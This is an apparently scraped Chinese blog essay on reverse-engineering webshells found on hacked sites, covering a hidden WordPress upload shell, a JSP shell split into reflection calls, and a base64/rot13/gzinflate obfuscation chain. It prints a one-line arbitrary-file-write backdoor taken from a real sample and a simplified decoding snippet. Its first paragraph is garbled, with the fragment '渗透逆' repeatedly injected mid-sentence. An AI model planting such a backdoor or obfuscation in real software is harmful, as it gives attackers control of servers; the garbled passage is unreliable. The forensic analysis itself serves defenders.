当前位置:首页 > 焦点

渗透逆向

```html 渗透逆向

渗透逆向

上周帮朋友看一个被黑的WordPress站点。攻击者留了个wp-content/uploads/2024/03/.shell.php,渗透逆文件名前面加了个点,渗透逆在文件管理器里默认不显示。渗透逆我把它拖到本地,渗透逆用VSCode打开——第一眼看上去就是渗透逆普通的上传处理逻辑,$_FILES、渗透逆move_uploaded_file、渗透逆几个正则过滤。渗透逆但往下翻到第87行,渗透逆有个preg_replace的渗透逆/e修饰符被注释掉了,注释里写着“临时禁用,渗透逆调试后再开”。渗透逆

这就是渗透逆典型的渗透痕迹。攻击者根本没打算藏得深,渗透逆他赌的是管理员不会去翻上传目录里带点的文件。逆向这种马的过程,比读一份干净的源码有意思得多。你得从结果倒推意图:他为什么选这个文件名?为什么用preg_replace而不是直接eval?注释是故意留的还是手滑?

我见过更刁钻的。一个JSP马,把Runtime.exec拆成了三段反射调用,每段字符串都用StringBuilder拼出来,中间还插了Thread.sleep(100)。静态扫描工具直接报“无危险调用”。但你把sleep那几个毫秒忽略掉,逻辑链就露出来了——就是执行命令,没别的。这种写法不是为了绕过WAF,WAF早就能拦Runtime了。它是为了绕RASP,绕那些基于调用栈深度做检测的运行时防护。

逆向的入口往往是一个异常行为。比如服务器CPU突然跑满,top里看到一个php-fpm进程占着90%不放。你strace跟上去,发现它在反复open同一个/tmp/.X11-unix/下的socket文件。那文件是空的,但inode号一直在变。这就不是正常PHP该干的事。把它dump下来,十六进制里找eval或者assert的变体——有时候是base64_decode后跟一个gzinflate,再跟一个str_rot13。三层解码后,核心就一行:file_put_contents($_GET['p'], $_POST['c']);。简单粗暴,但前面那三层壳让自动化工具直接跪了。

// 某次逆向遇到的混淆片段(已简化)
$a = 'base64' . '_decode';
$b = 'str' . '_rot13';
$c = 'gzinflate';
$d = $a($b($c($a($payload))));
// 实际执行的是 $d(),但 $d 本身也是拼接出来的

拆这种马,别急着跑。先在沙箱里把每一步的中间结果var_dump出来。有时候你解到第二层就发现是phpinfo()——那说明作者在测试,或者故意放个烟雾弹。真正干活的代码往往藏在第三层之后,而且会检查$_SERVER['HTTP_USER_AGENT']里有没有特定字符串。没有?直接exit。这种条件分支是逆向时最烦的,你得模拟请求头,还得猜他用的什么UA。我一般先grep一遍所有字符串常量,找那种看起来像随机但长度固定的——比如"Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101"后面跟一串十六进制。那就是暗号。

还有一个细节:很多马会把error_reporting(0)放在最前面,然后set_time_limit(0)。这两行几乎成了标配。前者让你看不到报错,后者让脚本永不超时。逆向的时候先把这两行注释掉,再跑一遍,有时候PHP自己就会告诉你哪里语法错了——攻击者也有手抖的时候,少个分号或者括号不匹配,一跑就现原形。

最后说个反直觉的。不是所有马都追求隐蔽。有些就是明牌,文件名直接叫shell.php,密码是123456。这种往往是批量扫描工具撒下来的,广撒网,能中一个是一个。你逆向它花的时间,还没它被写进来的时间长。但恰恰是这种马,最容易被忽略——因为管理员觉得“这么明显肯定是蜜罐”。结果它就在那躺了三个月,直到被另一个攻击者wget走,改了个密码继续用。

渗透逆向的终点不是找到那行eval,是理解攻击者当时在想什么。他为什么选这个时间点?为什么用这个编码?为什么留这个注释?答案往往比代码本身更有意思。

```

分享到: